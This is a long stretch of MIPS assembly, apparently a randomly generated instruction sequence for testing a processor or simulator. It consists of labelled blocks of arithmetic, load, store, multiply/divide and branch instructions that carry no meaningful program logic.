TAG339: sh $4, 0($4) andi $4, $4, 6 bne $4, $4, TAG340 slt $4, $4, $4 TAG340: beq $4, $4, TAG341 lui $2, 9 lb $1, 0($4) sb $2, 0($1) TAG341: bltz $1, TAG342 mfhi $2 lb $3, 0($2) sw $2, 0($3) TAG342: sb $3, 0($3) sh $3, 0($3) mtlo $3 bltz $3, TAG343 TAG343: lui $4, 13 andi $4, $3, 14 mtlo $4 multu $4, $3 TAG344: andi $4, $4, 12 mthi $4 xor $2, $4, $4 blez $4, TAG345 TAG345: mflo $4 sllv $4, $4, $2 sb $2, 0($4) sb $4, 0($2) TAG346: lui $2, 8 sh $4, 0($4) mtlo $4 mtlo $4 TAG347: bne $2, $2, TAG348 sll $0, $0, 0 xori $4, $2, 0 sll $0, $0, 0 TAG348: mtlo $4 sll $0, $0, 0 mfhi $4 lhu $2, 0($1) TAG349: lui $1, 9 sll $0, $0, 0 sll $0, $0, 0 srav $4, $1, $1 TAG350: srav $4, $4, $4 mflo $3 divu $4, $4 mfhi $2 TAG351: blez $2, TAG352 mtlo $2 mfhi $2 mthi $2 TAG352: mult $2, $2 mtlo $2 lui $2, 11 beq $2, $2, TAG353 TAG353: sll $0, $0, 0 sll $0, $0, 0 mthi $2 mflo $2 TAG354: bne $2, $2, TAG355 sh $2, 0($2) bgtz $2, TAG355 mfhi $2 TAG355: sll $0, $0, 0 bne $2, $2, TAG356 mthi $2 mfhi $1 TAG356: bgtz $1, TAG357 sra $1, $1, 14 lh $4, 0($1) lh $2, 0($4) TAG357: beq $2, $2, TAG358 addu $3, $2, $2 lhu $2, 0($3) mflo $2 TAG358: mult $2, $2 multu $2, $2 bgez $2, TAG359 mflo $3 TAG359: sh $3, 0($3) slt $2, $3, $3 lui $4, 4 nor $3, $2, $3 TAG360: lui $2, 9 slt $1, $2, $2 mfhi $4 addu $2, $1, $4 TAG361: lui $1, 14 div $1, $2 srlv $3, $1, $1 mthi $2 TAG362: multu $3, $3 div $3, $3 andi $3, $3, 5 sltiu $3, $3, 2 TAG363: mthi $3 mthi $3 sra $3, $3, 12 addi $4, $3, 1 TAG364: mult $4, $4 subu $2, $4, $4 bltz $2, TAG365 mult $2, $2 TAG365: lw $1, 0($2) mult $1, $1 multu $2, $2 mflo $3 TAG366: subu $1, $3, $3 lw $4, 0($3) addiu $2, $1, 3 addu $2, $1, $1 TAG367: lbu $2, 0($2) mflo $3 mtlo $2 addi $3, $2, 8 TAG368: addiu $4, $3, 14 sll $1, $4, 4 mtlo $4 lui $3, 6 TAG369: bne $3, $3, TAG370 mthi $3 multu $3, $3 bne $3, $3, TAG370 TAG370: and $4, $3, $3 sll $0, $0, 0 blez $4, TAG371 lui $1, 14 TAG371: div $1, $1 mfhi $1 sb $1, 0($1) bltz $1, TAG372 TAG372: lh $1, 0($1) mflo $2 sra $4, $1, 5 mthi $2 TAG373: bgtz $4, TAG374 mfhi $4 lbu $3, 0($4) srlv $1, $3, $4 TAG374: lb $2, 0($1) lbu $4, 0($2) mult $4, $2 sub $2, $4, $2 TAG375: addiu $3, $2, 7 sw $3, 0($2) beq $2, $2, TAG376 xor $2, $3, $2 TAG376: sb $2, 0($2) nor $3, $2, $2 or $4, $2, $2 lhu $4, 8($3) TAG377: bne $4, $4, TAG378 mtlo $4 sra $1, $4, 7 bltz $1, TAG378 TAG378: mtlo $1 mfhi $3 lui $3, 4 mtlo $3 TAG379: lui $4, 2 srlv $3, $3, $4 div $4, $3 mtlo $3 TAG380: sra $1, $3, 9 bgtz $3, TAG381 sll $0, $0, 0 xor $1, $3, $3 TAG381: bne $1, $1, TAG382 sll $3, $1, 1 lui $4, 4 beq $1, $3, TAG382 TAG382: sll $0, $0, 0 srl $3, $2, 12 sll $0, $0, 0 divu $3, $2 TAG383: srav $2, $3, $3 mfhi $1 sw $3, 0($2) beq $2, $2, TAG384 TAG384: and $4, $1, $1 lui $3, 13 sll $0, $0, 0 sll $0, $0, 0 TAG385: bgtz $2, TAG386 nor $1, $2, $2 mfhi $3 mfhi $3 TAG386: beq $3, $3, TAG387 nor $3, $3, $3 lb $4, 0($3) lui $1, 3 TAG387: divu $1, $1 bne $1, $1, TAG388 mfhi $1 and $2, $1, $1 TAG388: mtlo $2 sltiu $3, $2, 6 beq $3, $2, TAG389 mult $2, $2 TAG389: bgez $3, TAG390 lb $1, 0($3) mtlo $3 lbu $2, 0($3) TAG390: lh $2, 0($2) bne $2, $2, TAG391 mult $2, $2 mflo $1 TAG391: mult $1, $1 lw $3, 0($1) ori $4, $1, 7 lui $3, 8 TAG392: bne $3, $3, TAG393 multu $3, $3 sll $0, $0, 0 addiu $4, $1, 5 TAG393: bgez $4, TAG394 mtlo $4 mflo $3 lb $2, 0($4) TAG394: sllv $3, $2, $2 lui $2, 14 multu $2, $2 sll $0, $0, 0 TAG395: sll $0, $0, 0 lhu $2, 0($3) lbu $1, 0($3) nor $1, $1, $1 TAG396: mflo $2 srav $4, $2, $1 lb $1, 1($1) bgez $1, TAG397 TAG397: addu $3, $1, $1 sw $3, 0($1) lui $3, 6 mthi $1 TAG398: bltz $3, TAG399 mtlo $3 mult $3, $3 sll $0, $0, 0 TAG399: slt $3, $4, $4 mfhi $4 ori $3, $4, 9 sltiu $4, $4, 0 TAG400: mtlo $4 bgez $4, TAG401 multu $4, $4 blez $4, TAG401 TAG401: lui $1, 13 divu $1, $1 slti $3, $1, 1 sw $4, 0($3) TAG402: mflo $1 lui $4, 7 sb $4, 0($3) sb $3, 0($1) TAG403: mtlo $4 xori $2, $4, 6 sll $0, $0, 0 subu $4, $2, $2 TAG404: sw $4, 0($4) bgtz $4, TAG405 mthi $4 multu $4, $4 TAG405: mfhi $2 bne $2, $2, TAG406 mtlo $2 lhu $1, 0($4) TAG406: sh $1, 0($1) lui $4, 11 bgez $1, TAG407 mthi $1 TAG407: sll $0, $0, 0 xor $3, $4, $4 sra $3, $4, 15 lbu $2, 0($3) TAG408: mult $2, $2 bgtz $2, TAG409 lh $1, 0($2) beq $2, $2, TAG409 TAG409: addu $2, $1, $1 sll $3, $1, 12 mtlo $3 lui $1, 15 TAG410: beq $1, $1, TAG411 mflo $1 lui $3, 11 xori $3, $3, 0 TAG411: mflo $3 multu $3, $3 mfhi $1 beq $3, $1, TAG412 TAG412: lui $4, 1 multu $1, $1 sll $0, $0, 0 beq $1, $4, TAG413 TAG413: sll $0, $0, 0 beq $4, $1, TAG414 lhu $2, 0($1) beq $4, $2, TAG414 TAG414: mflo $1 lui $2, 14 bgez $1, TAG415 sll $0, $0, 0 TAG415: lui $1, 8 mflo $3 bne $3, $1, TAG416 mult $3, $3 TAG416: bltz $3, TAG417 mflo $3 beq $3, $3, TAG417 mthi $3 TAG417: mflo $2 xor $1, $2, $3 slti $2, $1, 12 lui $1, 13 TAG418: mthi $1 sll $0, $0, 0 sll $0, $0, 0 mthi $1 TAG419: sll $2, $1, 5 sll $0, $0, 0 mtlo $1 multu $1, $1 TAG420: sll $0, $0, 0 bne $4, $4, TAG421 mtlo $2 andi $3, $2, 2 TAG421: bltz $3, TAG422 lh $3, 0($3) mfhi $1 mflo $2 TAG422: ori $3, $2, 5 lui $2, 12 sll $0, $0, 0 mfhi $3 TAG423: slti $1, $3, 10 ori $4, $3, 13 bne $4, $4, TAG424 lhu $2, -169($3) TAG424: lhu $4, 0($2) beq $4, $4, TAG425 mflo $1 mtlo $4 TAG425: andi $2, $1, 5 mthi $2 bgez $2, TAG426 addu $1, $1, $1 TAG426: blez $1, TAG427 sltiu $2, $1, 14 bltz $1, TAG427 sll $0, $0, 0 TAG427: blez $2, TAG428 sltu $1, $2, $2 mthi $2 mflo $3 TAG428: lui $1, 3 div $3, $3 subu $4, $3, $3 sll $0, $0, 0 TAG429: mfhi $2 lh $1, 0($2) mtlo $2 sb $1, 0($2) TAG430: bltz $1, TAG431 mfhi $1 mtlo $1 lbu $2, 0($1) TAG431: sb $2, 0($2) lui $4, 4 sll $0, $0, 0 sll $0, $0, 0 TAG432: addiu $4, $2, 13 mthi $4 lui $4, 0 mflo $4 TAG433: bgtz $4, TAG434 mfhi $1 mthi $4 sllv $3, $4, $4 TAG434: bne $3, $3, TAG435 mflo $3 andi $2, $3, 1 lui $1, 14 TAG435: sra $2, $1, 7 bltz $1, TAG436 sll $0, $0, 0 bne $1, $1, TAG436 TAG436: subu $4, $1, $1 beq $4, $4, TAG437 div $1, $1 mult $1, $4 TAG437: sltiu $2, $4, 0 multu $2, $2 mflo $2 lui $2, 2 TAG438: addiu $3, $2, 7 lui $1, 10 bgtz $2, TAG439 mtlo $2 TAG439: sll $0, $0, 0 sll $0, $0, 0 mflo $4 multu $1, $1 TAG440: multu $4, $4 lui $2, 6 blez $4, TAG441 lui $2, 2 TAG441: subu $2, $2, $2 bgez $2, TAG442 lh $4, 0($2) bne $2, $4, TAG442 TAG442: lui $2, 3 nor $1, $2, $4 sll $0, $0, 0 xor $1, $2, $1 TAG443: mtlo $1 xori $3, $1, 14 lui $3, 7 sll $0, $0, 0 TAG444: sll $0, $0, 0 lhu $3, 1($1) lui $4, 0 lw $2, 1($1) TAG445: sll $1, $2, 12 sh $2, 0($2) srav $3, $2, $1 bne $2, $2, TAG446 TAG446: sh $3, 0($3) lui $3, 0 mtlo $3 beq $3, $3, TAG447 TAG447: mflo $4 lui $4, 2 srlv $3, $4, $4 lui $1, 2 TAG448: bne $1, $1, TAG449 mthi $1 beq $1, $1, TAG449 sll $0, $0, 0 TAG449: mtlo $3 mflo $1 lui $2, 4 divu $3, $3 TAG450: sll $0, $0, 0 xori $4, $4, 3 sll $0, $0, 0 sll $0, $0, 0 TAG451: sll $0, $0, 0 sllv $3, $2, $2 sll $0, $0, 0 sll $0, $0, 0 TAG452: sltu $4, $4, $4 multu $4, $4 lb $1, 0($4) addu $4, $4, $4 TAG453: sw $4, 0($4) lbu $1, 0($4) mult $1, $1 bgez $1, TAG454 TAG454: addiu $3, $1, 6 lui $4, 2 mfhi $1 mthi $3 TAG455: sw $1, 0($1) bltz $1, TAG456 sh $1, 0($1) multu $1, $1 TAG456: sw $1, 0($1) sub $3, $1, $1 bgez $3, TAG457 lhu $1, 0($1) TAG457: lui $3, 0 multu $3, $3 bne $3, $1, TAG458 slti $4, $3, 5 TAG458: mthi $4 mult $4, $4 subu $3, $4, $4 beq $3, $4, TAG459 TAG459: srav $4, $3, $3 mtlo $3 multu $3, $3 bgez $3, TAG460 TAG460: mult $4, $4 mflo $3 mflo $2 addu $3, $2, $4 TAG461: lui $2, 6 lbu $1, 0($3) sw $3, 0($1) lui $2, 1 TAG462: bgtz $2, TAG463 sll $0, $0, 0 multu $2, $2 bltz $2, TAG463 TAG463: mflo $1 beq $1, $2, TAG464 sll $3, $2, 7 multu $2, $1 TAG464: addiu $4, $3, 10 sll $0, $0, 0 bgez $4, TAG465 mtlo $4 TAG465: beq $4, $4, TAG466 mtlo $4 sw $4, 0($4) sb $4, 0($4) TAG466: addiu $3, $4, 5 sll $0, $0, 0 xor $2, $3, $4 div $4, $2 TAG467: mthi $2 srl $2, $2, 15 sh $2, 0($2) mult $2, $2 TAG468: blez $2, TAG469 lui $3, 3 lb $3, 0($3) lb $4, 0($3) TAG469: addu $3, $4, $4 subu $3, $3, $4 lui $3, 5 subu $3, $3, $3 TAG470: nor $3, $3, $3 bltz $3, TAG471 multu $3, $3 addu $4, $3, $3 TAG471: mflo $1 beq $1, $1, TAG472 lb $3, 0($1) div $3, $1 TAG472: beq $3, $3, TAG473 sltiu $4, $3, 0 sub $1, $3, $4 lui $2, 12 TAG473: bltz $2, TAG474 mtlo $2 sw $2, 0($2) lui $2, 12 TAG474: srlv $1, $2, $2 srl $4, $1, 14 sll $0, $0, 0 mthi $4 TAG475: blez $3, TAG476 mflo $1 addu $2, $3, $3 lh $4, 0($3) TAG476: mfhi $1 addu $1, $1, $1 lui $4, 6 sh $1, 0($1) TAG477: mtlo $4 xori $2, $4, 6 sll $0, $0, 0 bltz $4, TAG478 TAG478: mthi $2 lui $3, 10 multu $2, $3 mflo $2 TAG479: sll $0, $0, 0 div $4, $4 addiu $3, $4, 12 beq $3, $2, TAG480 TAG480: nor $4, $3, $3 sll $0, $0, 0 mfhi $4 lhu $2, 0($4) TAG481: mtlo $2 bltz $2, TAG482 multu $2, $2 sh $2, 0($2) TAG482: multu $2, $2 bne $2, $2, TAG483 lui $3, 10 bne $3, $2, TAG483 TAG483: div $3, $3 beq $3, $3, TAG484 div $3, $3 mflo $4 TAG484: sw $4, 0($4) sll $1, $4, 4 lbu $3, 0($4) and $2, $3, $1 TAG485: bgtz $2, TAG486 sltu $3, $2, $2 srlv $1, $2, $2 sra $1, $1, 4 TAG486: blez $1, TAG487 lui $2, 13 mfhi $2 srav $4, $2, $2 TAG487: lui $3, 13 sll $0, $0, 0 bne $3, $4, TAG488 lui $1, 14 TAG488: mfhi $3 sll $0, $0, 0 sw $3, 0($3) mult $1, $3 TAG489: multu $3, $3 blez $3, TAG490 ori $1, $3, 6 addu $2, $1, $1 TAG490: or $3, $2, $2 ori $3, $3, 0 sll $0, $0, 0 sltiu $1, $3, 0 TAG491: mult $1, $1 mthi $1 lui $1, 10 sll $0, $0, 0 TAG492: lui $3, 4 bne $3, $1, TAG493 mfhi $1 bne $3, $1, TAG493 TAG493: multu $1, $1 ori $2, $1, 0 sra $4, $2, 2 beq $4, $4, TAG494 TAG494: ori $3, $4, 2 bltz $3, TAG495 mult $4, $4 mult $3, $4 TAG495: subu $3, $3, $3 beq $3, $3, TAG496 lh $3, 0($3) sw $3, 0($3) TAG496: multu $3, $3 slti $1, $3, 13 lb $3, 0($1) nor $4, $3, $3 TAG497: mthi $4 mult $4, $4 srl $3, $4, 15 multu $3, $4 TAG498: sll $0, $0, 0 multu $3, $3 mfhi $2 xori $3, $2, 3 TAG499: ori $4, $3, 1 sb $4, 0($4) lui $4, 10 mflo $2 TAG500: bgez $2, TAG501 sll $0, $0, 0 mflo $1 mflo $2 TAG501: sll $0, $0, 0 addu $4, $2, $2 mtlo $2 multu $4, $4 TAG502: lui $3, 0 addiu $4, $3, 8 andi $1, $4, 9 mthi $1 TAG503: mfhi $4 mthi $4 blez $4, TAG504 mtlo $4 TAG504: bgez $4, TAG505 subu $3, $4, $4 andi $4, $4, 12 bgez $4, TAG505 TAG505: div $4, $4 addu $4, $4, $4 mthi $4 lhu $4, 0($4) TAG506: beq $4, $4, TAG507 lbu $4, 0($4) srav $4, $4, $4 addu $4, $4, $4 TAG507: sh $4, 0($4) multu $4, $4 slti $4, $4, 9 bne $4, $4, TAG508 TAG508: divu $4, $4 bltz $4, TAG509 sb $4, 0($4) mult $4, $4 TAG509: ori $1, $4, 3 lb $1, 0($1) and $1, $1, $1 sub $3, $1, $1 TAG510: lui $2, 6 subu $3, $2, $2 lui $3, 2 sltu $3, $3, $3 TAG511: lhu $2, 0($3) beq $3, $3, TAG512 sllv $1, $2, $2 nor $1, $1, $3 TAG512: sb $1, -256($1) sb $1, -256($1) mflo $2 multu $2, $2 TAG513: mflo $2 lui $1, 10 bgez $2, TAG514 mtlo $2 TAG514: sll $0, $0, 0 lb $4, 0($3) sll $0, $0, 0 lb $4, 0($4) TAG515: lui $4, 9 bgez $4, TAG516 subu $1, $4, $4 divu $4, $1 TAG516: bltz $1, TAG517 mthi $1 mflo $1 bgez $1, TAG517 TAG517: divu $1, $1 lui $2, 4 beq $2, $1, TAG518 srl $2, $1, 2 TAG518: lui $1, 15 multu $2, $2 sh $1, 0($2) addiu $1, $1, 15 TAG519: sll $0, $0, 0 lui $4, 1 mult $4, $1 mfhi $1 TAG520: lbu $2, 0($1) bne $2, $2, TAG521 mflo $2 sll $0, $0, 0 TAG521: bne $2, $2, TAG522 sra $2, $2, 14 blez $2, TAG522 slt $1, $2, $2 TAG522: lhu $2, 0($1) mthi $1 blez $1, TAG523 mtlo $1 TAG523: mult $2, $2 mthi $2 mflo $1 beq $1, $2, TAG524 TAG524: mthi $1 lui $4, 8 bne $1, $4, TAG525 mflo $4 TAG525: lui $4, 7 lui $2, 12 bltz $4, TAG526 mfhi $4 TAG526: sh $4, 0($4) addiu $4, $4, 0 beq $4, $4, TAG527 lui $3, 7 TAG527: sll $2, $3, 5 lui $4, 10 sll $0, $0, 0 lui $1, 11 TAG528: sll $0, $0, 0 bne $1, $1, TAG529 sll $0, $0, 0 lui $4, 8 TAG529: or $1, $4, $4 mtlo $1 or $3, $1, $1 multu $3, $3 TAG530: sll $0, $0, 0 div $3, $3 sll $0, $0, 0 bltz $3, TAG531 TAG531: mtlo $3 bne $3, $3, TAG532 mfhi $2 mtlo $3 TAG532: lui $2, 3 andi $2, $2, 15 mtlo $2 slti $1, $2, 12 TAG533: beq $1, $1, TAG534 sb $1, 0($1) sb $1, 0($1) sw $1, 0($1) TAG534: bne $1, $1, TAG535 sb $1, 0($1) lb $4, 0($1) bgtz $4, TAG535 TAG535: lbu $2, 0($4) lbu $1, 0($2) bne $4, $1, TAG536 sb $2, 0($4) TAG536: mtlo $1 multu $1, $1 andi $1, $1, 10 addi $4, $1, 6 TAG537: lui $1, 6 beq $1, $1, TAG538 srl $1, $1, 1 mflo $2 TAG538: lui $3, 8 beq $2, $3, TAG539 sb $2, 0($2) mult $3, $3 TAG539: sllv $2, $3, $3 sltiu $1, $2, 7 sltiu $2, $2, 10 mthi $2 TAG540: slti $4, $2, 10 addi $3, $2, 6 lbu $1, 0($4) sb $4, 0($3) TAG541: mtlo $1 bltz $1, TAG542 and $3, $1, $1 sb $1, 0($1) TAG542: lbu $2, 0($3) mflo $2 andi $2, $2, 14 mtlo $2 TAG543: mfhi $4 sw $4, 0($4) sb $2, 0($4) add $3, $4, $4 TAG544: add $2, $3, $3 mtlo $2 mult $2, $2 bne $2, $2, TAG545 TAG545: mthi $2 bgez $2, TAG546 mflo $3 lb $4, 0($3) TAG546: lui $1, 4 lbu $2, 0($4) sll $0, $0, 0 multu $2, $2 TAG547: lui $1, 8 bgtz $2, TAG548 lbu $3, 0($2) xor $4, $3, $1 TAG548: mthi $4 lui $1, 12 bne $4, $4, TAG549 mthi $1 TAG549: mthi $1 andi $4, $1, 2 beq $4, $1, TAG550 sltu $2, $4, $4 TAG550: mfhi $1 sll $0, $0, 0 sll $0, $0, 0 xori $2, $2, 5 TAG551: lui $1, 3 bne $1, $2, TAG552 mtlo $1 mfhi $2 TAG552: lui $2, 2 mflo $4 bne $2, $2, TAG553 slt $1, $2, $2 TAG553: sw $1, 0($1) mtlo $1 sh $1, 0($1) lhu $1, 0($1) TAG554: sllv $4, $1, $1 mult $4, $4 mult $4, $1 beq $1, $1, TAG555 TAG555: sltu $1, $4, $4 sll $3, $1, 7 bne $3, $4, TAG556 sw $4, 0($4) TAG556: mflo $4 lui $1, 2 sw $1, 0($3) bltz $3, TAG557 TAG557: mthi $1 srl $2, $1, 8 srl $3, $1, 0 div $3, $2 TAG558: addu $1, $3, $3 bne $1, $3, TAG559 divu $1, $3 bne $3, $3, TAG559 TAG559: lui $1, 11 srlv $1, $1, $1 xori $4, $1, 3 lui $4, 5 TAG560: sll $0, $0, 0 bgtz $2, TAG561 sllv $1, $2, $4 sh $2, 0($2) TAG561: sra $3, $1, 7 nor $1, $1, $1 mflo $3 mthi $3 TAG562: lui $3, 7 lui $2, 15 lui $3, 8 mtlo $3 TAG563: bne $3, $3, TAG564 sltiu $4, $3, 15 mflo $2 bne $2, $3, TAG564 TAG564: addiu $1, $2, 12 sll $0, $0, 0 and $1, $2, $2 multu $2, $2 TAG565: mthi $1 sll $0, $0, 0 sll $0, $0, 0 sra $2, $1, 12 TAG566: sh $2, 0($2) srl $3, $2, 0 bgez $2, TAG567 slti $2, $3, 2 TAG567: mfhi $1 slt $2, $2, $2 sltiu $3, $2, 14 blez $3, TAG568 TAG568: or $4, $3, $3 div $4, $3 slti $4, $3, 15 lui $2, 3 TAG569: addiu $4, $2, 10 sra $2, $4, 6 ori $2, $2, 4 mflo $1 TAG570: bgtz $1, TAG571 mfhi $4 mflo $4 mfhi $2 TAG571: xori $2, $2, 8 addu $2, $2, $2 lui $1, 11 mfhi $2 TAG572: sll $2, $2, 9 beq $2, $2, TAG573 mtlo $2 sra $2, $2, 7 TAG573: lbu $1, 0($2) multu $1, $1 addu $1, $1, $1 sb $1, 0($1) TAG574: bltz $1, TAG575 lbu $2, 0($1) add $4, $1, $1 xori $2, $2, 14 TAG575: mtlo $2 mflo $3 mtlo $2 divu $3, $3 TAG576: sh $3, 0($3) mflo $4 xori $1, $3, 11 subu $4, $4, $1 TAG577: sh $4, 4($4) sb $4, 4($4) blez $4, TAG578 mult $4, $4 TAG578: lui $4, 7 lui $2, 5 mthi $4 srav $1, $4, $4 TAG579: bne $1, $1, TAG580 sll $0, $0, 0 sra $4, $4, 9 lui $2, 0 TAG580: sh $2, 0($2) sra $4, $2, 7 lui $1, 8 mtlo $4 TAG581: mfhi $3 mthi $3 multu $1, $1 sll $0, $0, 0 TAG582: blez $4, TAG583 mfhi $4 divu $4, $4 lhu $1, 0($4) TAG583: sll $0, $0, 0 div $1, $1 or $4, $1, $1 blez $4, TAG584 TAG584: sll $0, $0, 0 sll $0, $0, 0 sll $0, $0, 0 mflo $3 TAG585: mflo $4 sltiu $1, $4, 4 lui $3, 7 mtlo $3 TAG586: sll $0, $0, 0 lui $1, 6 bgtz $3, TAG587 mthi $3 TAG587: sltu $1, $1, $1 bgez $1, TAG588 multu $1, $1 mthi $1 TAG588: mflo $2 mult $2, $1 lh $1, 0($2) bgtz $1, TAG589 TAG589: multu $1, $1 lbu $1, 0($1) bgtz $1, TAG590 sh $1, 0($1) TAG590: sllv $3, $1, $1 lui $1, 6 multu $3, $3 bne $3, $1, TAG591 TAG591: lui $2, 6 sll $0, $0, 0 mtlo $2 sltiu $3, $2, 9 TAG592: beq $3, $3, TAG593 lb $4, 0($3) sub $2, $3, $4 mtlo $3 TAG593: sra $3, $2, 13 lw $2, 0($3) slt $2, $2, $3 srlv $1, $2, $3 TAG594: add $3, $1, $1 bgtz $1, TAG595 lhu $1, 0($3) lb $3, 0($1) TAG595: sub $3, $3, $3 slti $4, $3, 10 addi $1, $3, 12 or $4, $3, $1 TAG596: mult $4, $4 or $3, $4, $4 mtlo $3 addiu $4, $4, 7 TAG597: lb $1, 0($4) mult $4, $4 beq $1, $1, TAG598 mthi $1 TAG598: lw $4, 0($1) bgtz $1, TAG599 mult $1, $4 lui $4, 1 TAG599: lui $1, 14 xor $3, $4, $4 mult $3, $4 multu $3, $3 TAG600: lui $2, 8 sll $3, $2, 14 sra $1, $3, 10 multu $3, $1 TAG601: lui $1, 0 beq $1, $1, TAG602 lh $1, 0($1) lw $2, 0($1) TAG602: lui $3, 6 mtlo $2 addiu $2, $2, 10 lui $2, 8 TAG603: beq $2, $2, TAG604 mthi $2 sw $2, 0($2) mfhi $1 TAG604: mfhi $3 mtlo $1 nor $4, $3, $3 mthi $1 TAG605: mthi $4 sltu $3, $4, $4 beq $4, $3, TAG606 sll $0, $0, 0 TAG606: mtlo $4 nor $1, $4, $4 sll $0, $0, 0 bgtz $1, TAG607 TAG607: mthi $1 mfhi $4 xor $4, $4, $4 slti $1, $4, 2 TAG608: blez $1, TAG609 lb $2, 0($1) divu $2, $1 div $2, $1 TAG609: sw $2, 0($2) beq $2, $2, TAG610 mtlo $2 mtlo $2 TAG610: or $2, $2, $2 mflo $3 mfhi $4 sh $3, 0($4) TAG611: mult $4, $4 lhu $2, 0($4) multu $2, $2 bltz $4, TAG612 TAG612: lui $4, 1 lui $3, 4 bgez $4, TAG613 mfhi $4 TAG613: lui $3, 4 mtlo $4 slt $2, $3, $4 lbu $1, 0($2) TAG614: sb $1, 0($1) multu $1, $1 sll $2, $1, 10 mult $2, $1 TAG615: multu $2, $2 mult $2, $2 multu $2, $2 lh $3, 0($2) TAG616: bltz $3, TAG617 mflo $1 mflo $3 addu $2, $3, $3 TAG617: lb $4, 0($2) lui $1, 9 xor $2, $2, $4 lw $1, 0($2) TAG618: lb $4, 0($1) mfhi $1 andi $1, $1, 10 sw $1, 0($1) TAG619: mfhi $2 mtlo $1 bne $1, $1, TAG620 sb $1, 0($2) TAG620: mthi $2 bne $2, $2, TAG621 lh $2, 0($2) lui $4, 10 TAG621: beq $4, $4, TAG622 mult $4, $4 lw $4, 0($4) add $2, $4, $4 TAG622: sb $2, 0($2) nor $3, $2, $2 mtlo $3 mult $2, $2 TAG623: sll $0, $0, 0 beq $3, $4, TAG624 mfhi $1 divu $3, $3 TAG624: sltiu $4, $1, 11 divu $4, $4 mflo $2 blez $2, TAG625 TAG625: mthi $2 sb $2, 0($2) beq $2, $2, TAG626 sb $2, 0($2) TAG626: lui $1, 7 mtlo $2 divu $2, $1 xor $4, $2, $2 TAG627: lhu $1, 0($4) lb $1, -256($1) nor $2, $1, $1 mfhi $1 TAG628: sllv $3, $1, $1 lui $1, 8 ori $3, $3, 11 multu $3, $3 TAG629: srl $2, $3, 3 lui $3, 0 lui $1, 13 lui $3, 11 TAG630: mthi $3 sll $0, $0, 0 and $3, $3, $3 slti $3, $3, 6 TAG631: mtlo $3 addiu $3, $3, 4 sw $3, 0($3) divu $3, $3 TAG632: bgtz $3, TAG633 mult $3, $3 blez $3, TAG633 sllv $4, $3, $3 TAG633: mthi $4 sb $4, 0($4) lui $2, 9 bne $4, $4, TAG634 TAG634: srl $3, $2, 10 sh $2, -576($3) srl $4, $2, 10 lui $3, 13 TAG635: sll $0, $0, 0 mflo $1 lw $4, -576($4) lui $2, 4 TAG636: sll $0, $0, 0 beq $3, $2, TAG637 srav $1, $2, $2 multu $3, $2 TAG637: sra $1, $1, 1 div $1, $1 bgtz $1, TAG638 divu $1, $1 TAG638: slti $3, $1, 9 mfhi $3 lb $4, 0($3) blez $3, TAG639 TAG639: mthi $4 mthi $4 sllv $4, $4, $4 lui $3, 4 TAG640: mflo $2 lb $4, 0($2) bgtz $3, TAG641 nor $4, $2, $3 TAG641: multu $4, $4 sll $0, $0, 0 bgtz $4, TAG642 sll $0, $0, 0 TAG642: srl $3, $3, 13 lb $3, 0($3) addu $4, $3, $3 sb $3, 0($3) TAG643: mflo $4 sll $0, $0, 0 sltiu $3, $4, 6 and $4, $4, $4 TAG644: sll $0, $0, 0 mtlo $4 divu $4, $4 srlv $3, $4, $4 TAG645: mult $3, $3 sllv $1, $3, $3 mflo $1 bgez $1, TAG646 TAG646: multu $1, $1 mtlo $1 lui $1, 1 bgtz $1, TAG647 TAG647: sll $0, $0, 0 beq $3, $3, TAG648 sll $0, $0, 0 beq $1, $3, TAG648 TAG648: mfhi $2 sll $0, $0, 0 mflo $3 sll $3, $3, 1 TAG649: mflo $4 sw $3, 0($4) sb $3, 0($4) subu $2, $3, $4 TAG650: bgez $2, TAG651 sb $2, 0($2) sh $2, 0($2) div $2, $2 TAG651: bne $2, $2, TAG652 lui $1, 4 bne $2, $2, TAG652 sh $2, 0($2) TAG652: sll $0, $0, 0 mflo $1 srlv $3, $1, $1 mult $1, $1 TAG653: beq $3, $3, TAG654 srlv $1, $3, $3 lui $2, 15 blez $1, TAG654 TAG654: nor $4, $2, $2 lh $1, 1($4) subu $2, $4, $1 srav $2, $4, $4 TAG655: bne $2, $2, TAG656 lw $3, 1($2) beq $3, $2, TAG656 sh $3, 0($3) TAG656: mflo $1 mtlo $1 lui $2, 2 or $2, $3, $1 TAG657: and $1, $2, $2 lh $4, 0($1) lui $3, 5 mflo $1 TAG658: mult $1, $1 mult $1, $1 lh $2, 0($1) mflo $2 TAG659: lui $1, 1 nor $1, $2, $2 lhu $1, 0($2) mthi $2 TAG660: and $1, $1, $1 lw $1, 0($1) sltiu $3, $1, 7 mthi $3 TAG661: div $3, $3 lb $3, 0($3) sw $3, 0($3) lui $2, 12 TAG662: lui $3, 6 mflo $2 mflo $4 divu $2, $4 TAG663: lui $2, 2 multu $2, $2 or $3, $2, $4 mfhi $4 TAG664: mfhi $4 mflo $4 mthi $4 multu $4, $4 TAG665: bne $4, $4, TAG666 xori $3, $4, 7 sb $4, 0($3) div $3, $3 TAG666: lbu $4, 0($3) sltiu $2, $3, 13 addi $4, $4, 1 mthi $3 TAG667: blez $4, TAG668 sb $4, 0($4) divu $4, $4 beq $4, $4, TAG668 TAG668: mfhi $3 multu $3, $3 mfhi $3 mult $3, $4 TAG669: mthi $3 add $2, $3, $3 lhu $1, 0($3) or $2, $1, $3 TAG670: sll $0, $0, 0 blez $2, TAG671 mflo $4 beq $4, $4, TAG671 TAG671: add $4, $4, $4 lui $2, 1 multu $4, $4 sb $4, 0($4) TAG672: mflo $3 lui $2, 6 beq $2, $2, TAG673 mult $3, $2 TAG673: sll $0, $0, 0 mfhi $3 addu $3, $2, $3 xori $1, $3, 15 TAG674: bne $1, $1, TAG675 sll $0, $0, 0 divu $1, $1 sll $2, $1, 12 TAG675: mult $2, $2 mfhi $2 mult $2, $2 div $2, $2 TAG676: sll $0, $0, 0 mult $2, $3 bgez $3, TAG677 mflo $1 TAG677: bgtz $1, TAG678 mflo $4 sb $4, 0($4) lui $1, 8 TAG678: srl $1, $1, 13 sltu $2, $1, $1 mtlo $1 mflo $1 TAG679: mtlo $1 sll $0, $0, 0 bne $1, $1, TAG680 mult $1, $1 TAG680: div $1, $1 subu $2, $1, $1 andi $2, $2, 3 ori $4, $1, 5 TAG681: sll $0, $0, 0 bne $4, $3, TAG682 andi $3, $4, 0 lui $3, 2 TAG682: mult $3, $3 slt $1, $3, $3 srl $3, $1, 10 bne $3, $3, TAG683 TAG683: mflo $1 multu $1, $1 multu $3, $3 sb $1, 0($3) TAG684: beq $1, $1, TAG685 lbu $2, 0($1) ori $1, $2, 9 beq $1, $1, TAG685 TAG685: mtlo $1 mtlo $1 mfhi $3 mfhi $1 